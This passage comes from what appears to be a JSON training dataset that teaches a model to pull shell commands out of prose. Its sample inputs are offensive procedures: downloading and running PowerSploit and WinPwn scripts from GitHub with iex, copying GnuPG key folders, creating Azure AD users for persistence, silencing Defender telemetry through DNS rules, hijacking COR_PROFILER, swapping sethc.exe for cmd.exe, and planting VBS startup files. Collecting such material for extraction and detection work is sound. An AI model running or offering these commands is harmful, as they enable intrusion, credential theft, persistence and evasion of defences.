are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy the users GnuPG (.gnupg) directory to a staging folder on Mac or Linux, use the following command sequence: mkdir #{output_folder}\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\;\nexit 0\n",
    "output": "{\"command_list\": [\"mkdir #{output_folder}\\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\\\;\\nexit 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malicious actors often establish persistence by creating new Azure AD users with this command block: az login\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\"      \n$password = \"#{password}\"\naz ad user create --display-name $username --password $password --user-principal-name $userprincipalname\naz ad user list --filter \"displayname eq 'atomicredteam'\"",
    "output": "{\"command_list\": [\"az login\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\n$username = \\\"#{username}\\\"      \\n$password = \\\"#{password}\\\"\\naz ad user create --display-name $username --password $password --user-principal-name $userprincipalname\\naz ad user list --filter \\\"displayname eq 'atomicredteam'\\\"     \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The WinPwn tool can be used for DomainPasswordSpray attacks by executing this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndomainpassspray -consoleoutput -noninteractive -emptypasswords",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndomainpassspray -consoleoutput -noninteractive -emptypasswords\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing this command, the system will redirect DNS queries to localhost and clear the DNS cache: Add-DnsClientNrptRule -Namespace \".endpoint.security.microsoft.com\" -NameServers 127.0.0.1 -Comment \"Silenced by Name Resolution Policy Table\"\nAdd-DnsClientNrptRule -Namespace \"endpoint.security.microsoft.com\" -NameServers 127.0.0.1 -Comment \"Silenced by Name Resolution Policy Table\"\nClear-DnsClientCache",
    "output": "{\"command_list\": [\"Add-DnsClientNrptRule -Namespace \\\".endpoint.security.microsoft.com\\\" -NameServers 127.0.0.1 -Comment \\\"Silenced by Name Resolution Policy Table\\\"\\nAdd-DnsClientNrptRule -Namespace \\\"endpoint.security.microsoft.com\\\" -NameServers 127.0.0.1 -Comment \\\"Silenced by Name Resolution Policy Table\\\"\\nClear-DnsClientCache\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable a .NET profiler (COR_PROFILER) by creating system scope environment variables, which require a restart to take effect, use the following command: Write-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"#{file_name}\" -Force | Out-Null",
    "output": "{\"command_list\": [\"Write-Host \\\"Creating system environment variables\\\" -ForegroundColor Cyan\\nNew-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment' -Name \\\"COR_ENABLE_PROFILING\\\" -PropertyType String -Value \\\"1\\\" -Force | Out-Null\\nNew-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment' -Name \\\"COR_PROFILER\\\" -PropertyType String -Value \\\"#{clsid_guid}\\\" -Force | Out-Null\\nNew-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment' -Name \\\"COR_PROFILER_PATH\\\" -PropertyType String -Value \\\"#{file_name}\\\" -Force | Out-Null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replace the sticky keys binary with cmd.exe, use the following command sequence: IF NOT EXIST C:\\Windows\\System32\\sethc_backup.exe (copy C:\\Windows\\System32\\sethc.exe C:\\Windows\\System32\\sethc_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\sethc.exe /A\nicacls C:\\Windows\\System32\\sethc.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe\n",
    "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\sethc_backup.exe (copy C:\\\\Windows\\\\System32\\\\sethc.exe C:\\\\Windows\\\\System32\\\\sethc_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\sethc.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\sethc.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\sethc.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To maintain persistence by running VBS files from the startup folder, execute the following commands: Copy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"",
    "output": "{\"command_list\": [\"Copy-Item \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\vbsstartup.vbs\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\vbsstartup.vbs\\\"\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\vbsstartup.vbs\\\" \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\vbsstartup.vbs\\\"\\ncscript.exe \\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\vbsstartup.vbs\\\"\\ncscript.exe \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\vbsstartup.vbs\\\"\\n\"]}"
  },
  {
